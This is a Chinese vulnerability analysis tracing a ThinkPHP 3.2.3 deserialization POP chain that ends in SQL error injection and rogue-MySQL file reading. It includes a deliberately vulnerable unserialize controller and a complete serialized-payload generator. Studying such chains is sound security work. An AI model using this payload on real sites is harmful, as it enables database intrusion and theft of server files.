Phpstudy:
- OS:Windows
- PHP:5.6.9
- ThinkPHP:3.2.3
控制器写入:
/Application/Home/Controller/IndexController.class.php
public function index(){ unserialize(base64_decode($_GET[1]));//加上这一句 }pop链分析
先从__destruct方法入手,全局搜索
路径:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() { empty($this->img) || $this->img->destroy(); } }
参数$this->img可控,全局搜索destroy方法
路径:ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
public function destroy($sessID) { return $this->handle->delete($this->sessionName . $sessID); }
$this->handle,$this->sessionName参数可控
注意:无参数调用函数在php7中会判错,但是php5不会,所以版本利用有限
跟进delete方法
路径:ThinkPHP/Mode/Lite/Model.class.php
public function delete($options = array()) { $pk = $this->getPk(); if (empty($options) && empty($this->options['where'])) { // 如果删除条件为空 则删除当前数据对象所对应的记录 if (!empty($this->data) && isset($this->data[$pk])) { return $this->delete($this->data[$pk]); } else { return false; } } if (is_numeric($options) || is_string($options)) { // 根据主键删除记录 if (strpos($options, ',')) { $where[$pk] = array('IN', $options); } else { $where[$pk] = $options; } $options = array(); $options['where'] = $where; } // 根据复合主键删除记录 if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) { $count++; } } if (count($pk) == $count) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 分析表达式 $options = $this->_parseOptions($options); if (empty($options['where'])) { // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if (is_array($options['where']) && isset($options['where'][$pk])) { $pkValue = $options['where'][$pk]; } if (false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); //数据库驱动类中的delete() if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) { $data[$pk] = $pkValue; } $this->_after_delete($data, $options); } // 返回删除记录个数 return $result; }
在第二次调用delete方法时,调用了数据库驱动类中的delete
路径:ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options = array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind']) ? $options['bind'] : array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM ' . $table; if (strpos($table, ',')) { // 多表删除支持USING和JOIN操作 if (!empty($options['using'])) { $sql .= ' USING ' . $this->parseTable($options['using']) . ' '; } $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : ''); } $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : ''); if (!strpos($table, ',')) { // 单表删除支持order和limit $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '') . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''); } $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''); return $this->execute($sql, !empty($options['fetch_sql']) ? true : false); }
关键代码:
$table = $this->parseTable($options['table']); $sql = 'DELETE FROM ' . $table; return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
这里$table经过parseTable函数后拼接到sql语句中,最后执行sql语句
跟进parseTable
protected function parseTable($tables) { if (is_array($tables)) { // 支持别名定义 $array = array(); foreach ($tables as $table => $alias) { if (!is_numeric($table)) { $array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias); } else { $array[] = $this->parseKey($alias); } } $tables = $array; } elseif (is_string($tables)) { $tables = explode(',', $tables); array_walk($tables, array(&$this, 'parseKey')); } return implode(',', $tables); }
其中的数据经过parseKey处理,跟进
protected function parseKey(&$key) { return $key; }
直接返回,无任何过滤
那么最后返回结果执行execute方法
跟进,该函数开头有初始化连接操作
$this->initConnect(true);
跟进
protected function initConnect($master = true) { if (!empty($this->config['deploy'])) // 采用分布式数据库 { $this->_linkID = $this->multiConnect($master); } else // 默认单数据库 if (!$this->_linkID) { $this->_linkID = $this->connect(); } }
再跟进connect
public function connect($config = '', $linkNum = 0, $autoConnection = false) { if (!isset($this->linkID[$linkNum])) { if (empty($config)) { $config = $this->config; } try { if (empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if (version_compare(PHP_VERSION, '5.3.6', '<=')) { // 禁用模拟预处理语句 $this->options[PDO::ATTR_EMULATE_PREPARES] = false; } $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options); } catch (\PDOException $e) { if ($autoConnection) { trace($e->getMessage(), '', 'ERR'); return $this->connect($autoConnection, $linkNum); } elseif ($config['debug']) { E($e->getMessage()); } } } return $this->linkID[$linkNum]; }
这里控制$this->config来连接数据库,用mysql类来实例化
因此我们只需要在Mysql下配置好数据库配置即可
pop链构造最终利用链
__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->
构造:
use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config = array( "debug" => 1, "database" => "root", //数据库名 "hostname" => "127.0.0.1", //地址 "hostport" => "3306", //端口 "charset" => "utf8", "username" => "root", //用户名 "password" => "root" //密码 ); } } namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "name where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
可实现报错注入和MySQL恶意服务端读取客户端文件
参考链接:
http://www.yongsheng.site/2021/08/30/ThinkPHP3.2.3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/